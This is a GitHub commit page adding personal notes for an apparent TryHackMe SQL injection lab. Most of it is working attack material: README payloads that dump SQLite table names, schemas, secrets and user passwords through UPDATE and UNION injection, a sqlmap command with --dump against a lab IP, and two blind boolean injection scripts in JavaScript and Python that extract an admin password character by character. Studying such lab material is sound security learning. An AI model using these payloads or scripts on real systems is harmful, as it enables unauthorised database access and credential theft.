Skip to content

Commit a3d44c5

Browse files
committed
✨ add sqli notes / examples
1 parent 6168deb commit a3d44c5

File tree

6 files changed

+341
-1
lines changed

6 files changed

+341
-1
lines changed

.gitignore

+130
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
# Logs
2+
logs
3+
*.log
4+
npm-debug.log*
5+
yarn-debug.log*
6+
yarn-error.log*
7+
lerna-debug.log*
8+
.pnpm-debug.log*
9+
10+
# Diagnostic reports (https://nodejs.org/api/report.html)
11+
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
12+
13+
# Runtime data
14+
pids
15+
*.pid
16+
*.seed
17+
*.pid.lock
18+
19+
# Directory for instrumented libs generated by jscoverage/JSCover
20+
lib-cov
21+
22+
# Coverage directory used by tools like istanbul
23+
coverage
24+
*.lcov
25+
26+
# nyc test coverage
27+
.nyc_output
28+
29+
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
30+
.grunt
31+
32+
# Bower dependency directory (https://bower.io/)
33+
bower_components
34+
35+
# node-waf configuration
36+
.lock-wscript
37+
38+
# Compiled binary addons (https://nodejs.org/api/addons.html)
39+
build/Release
40+
41+
# Dependency directories
42+
node_modules/
43+
jspm_packages/
44+
45+
# Snowpack dependency directory (https://snowpack.dev/)
46+
web_modules/
47+
48+
# TypeScript cache
49+
*.tsbuildinfo
50+
51+
# Optional npm cache directory
52+
.npm
53+
54+
# Optional eslint cache
55+
.eslintcache
56+
57+
# Optional stylelint cache
58+
.stylelintcache
59+
60+
# Microbundle cache
61+
.rpt2_cache/
62+
.rts2_cache_cjs/
63+
.rts2_cache_es/
64+
.rts2_cache_umd/
65+
66+
# Optional REPL history
67+
.node_repl_history
68+
69+
# Output of 'npm pack'
70+
*.tgz
71+
72+
# Yarn Integrity file
73+
.yarn-integrity
74+
75+
# dotenv environment variable files
76+
.env
77+
.env.development.local
78+
.env.test.local
79+
.env.production.local
80+
.env.local
81+
82+
# parcel-bundler cache (https://parceljs.org/)
83+
.cache
84+
.parcel-cache
85+
86+
# Next.js build output
87+
.next
88+
out
89+
90+
# Nuxt.js build / generate output
91+
.nuxt
92+
dist
93+
94+
# Gatsby files
95+
.cache/
96+
# Comment in the public line in if your project uses Gatsby and not Next.js
97+
# https://nextjs.org/blog/next-9-1#public-directory-support
98+
# public
99+
100+
# vuepress build output
101+
.vuepress/dist
102+
103+
# vuepress v2.x temp and cache directory
104+
.temp
105+
.cache
106+
107+
# Docusaurus cache and generated files
108+
.docusaurus
109+
110+
# Serverless directories
111+
.serverless/
112+
113+
# FuseBox cache
114+
.fusebox/
115+
116+
# DynamoDB Local files
117+
.dynamodb/
118+
119+
# TernJS port file
120+
.tern-port
121+
122+
# Stores VSCode versions used for testing VSCode extensions
123+
.vscode-test
124+
125+
# yarn v2
126+
.yarn/cache
127+
.yarn/unplugged
128+
.yarn/build-state.yml
129+
.yarn/install-state.gz
130+
.pnp.*

sql-injection/README.md

+30-1
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,36 @@
1414
* Run your queries with the minimum needed permissions
1515
* Use Stored Procedures
1616
* Functions in your database
17-
* You'll be using ? to reference params / args
17+
* You still have to use parameterized queries... but that is the conventions so you'll be less likely to do it the bad way...
1818

19+
### Challenge #5
20+
21+
asd',nickName='test',email='hacked
22+
',nickName=sqlite_version(),email='hacked
23+
24+
* Dump sqlite table info:
25+
26+
```SQL
27+
',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='
28+
```
29+
30+
* Extract column names
31+
32+
```SQL
33+
',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable'),email='
34+
```
35+
36+
```SQL
37+
',nickName=(SELECT group_concat(secret) FROM secrets),email='
38+
```
1939

2040

41+
## Task 5
42+
43+
',note=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),'
44+
45+
' UNION SELECT 1,group_concat(password) FROM users-- -
46+
47+
## Task 6
48+
49+
sqlmap -u http://10.10.61.84:5000/challenge3/login --data="username=admin&password=admin" --level=5 --risk=3 --dbms=sqlite --technique=b --dump

sql-injection/attack.js

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
const axios = require("axios");
2+
3+
function getAllHexCodes() {
4+
const hexCodes = ["{", "}"].map((c) => c.charCodeAt(0).toString(16));
5+
for (let i = 97; i <= 122; i++) {
6+
hexCodes.push(i.toString(16));
7+
}
8+
for (let i = 65; i <= 90; i++) {
9+
hexCodes.push(i.toString(16));
10+
}
11+
for (let i = 48; i <= 57; i++) {
12+
hexCodes.push(i.toString(16));
13+
}
14+
return hexCodes;
15+
}
16+
17+
async function requestChar(query) {
18+
const url = "http://10.10.61.84:5000/challenge3/login";
19+
try {
20+
const { status } = await axios.post(url, {
21+
username: query,
22+
password: "admin",
23+
}, {
24+
maxRedirects: 0,
25+
headers: {
26+
'Content-Type': 'application/x-www-form-urlencoded'
27+
}
28+
});
29+
return false;
30+
} catch (error) {
31+
return error.response.status === 302;
32+
}
33+
}
34+
35+
async function attack() {
36+
const password_len = 38;
37+
const hexCodes = getAllHexCodes();
38+
const passwordChars = [];
39+
const promises = [];
40+
for (let i = 0; i <= password_len; i++) {
41+
for (let j = 0; j < hexCodes.length; j++) {
42+
const code = hexCodes[j];
43+
const query = `admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),${i + 1},1) = CAST(X'${code}' as Text)-- -`;
44+
promises.push(requestChar(query).then((result) => {
45+
if (result) {
46+
const char = String.fromCharCode(parseInt(code, 16));
47+
passwordChars[i] = char;
48+
console.log('Found', i, 'char:', char);
49+
}
50+
}))
51+
}
52+
}
53+
await Promise.all(promises);
54+
console.log('Password:', passwordChars.join(''));
55+
}
56+
57+
attack();
+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#!/usr/bin/python3
2+
import sys
3+
import requests
4+
import string
5+
6+
7+
def send_p(url, query):
8+
payload = {"username": query, "password": "admin"}
9+
try:
10+
r = requests.post(url, data=payload, timeout=3)
11+
except requests.exceptions.ConnectTimeout:
12+
print("[!] ConnectionTimeout: Try to adjust the timeout time")
13+
sys.exit(1)
14+
return r.text
15+
16+
17+
def main(addr):
18+
url = f"http://{addr}/challenge3/login"
19+
flag = ""
20+
password_len = 38
21+
# Not the most efficient way of doing it...
22+
for i in range(1, password_len):
23+
for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}":
24+
# Convert char to hex and remove "0x"
25+
h = hex(ord(c))[2:]
26+
query = "admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1)," \
27+
f"{i},1)=CAST(X'{h}' AS TEXT)--"
28+
29+
resp = send_p(url, query)
30+
if not "Invalid" in resp:
31+
flag += c
32+
print(flag)
33+
print(f"[+] FLAG: {flag}")
34+
35+
36+
if __name__ == "__main__":
37+
if len(sys.argv) == 1:
38+
print(f"Usage: {sys.argv[0]} MACHINE_IP:PORT")
39+
sys.exit(0)
40+
main(sys.argv[1])

sql-injection/package-lock.json

+69
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

sql-injection/package.json

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
{
2+
"name": "sql-injection",
3+
"version": "1.0.0",
4+
"description": "* Notes from Try Hack Me: * https://tryhackme.com/room/sqlilab",
5+
"main": "attack.js",
6+
"scripts": {
7+
"test": "echo \"Error: no test specified\" && exit 1"
8+
},
9+
"keywords": [],
10+
"author": "",
11+
"license": "ISC",
12+
"dependencies": {
13+
"axios": "^1.6.5"
14+
}
15+
}

0 commit comments

Comments
 (0)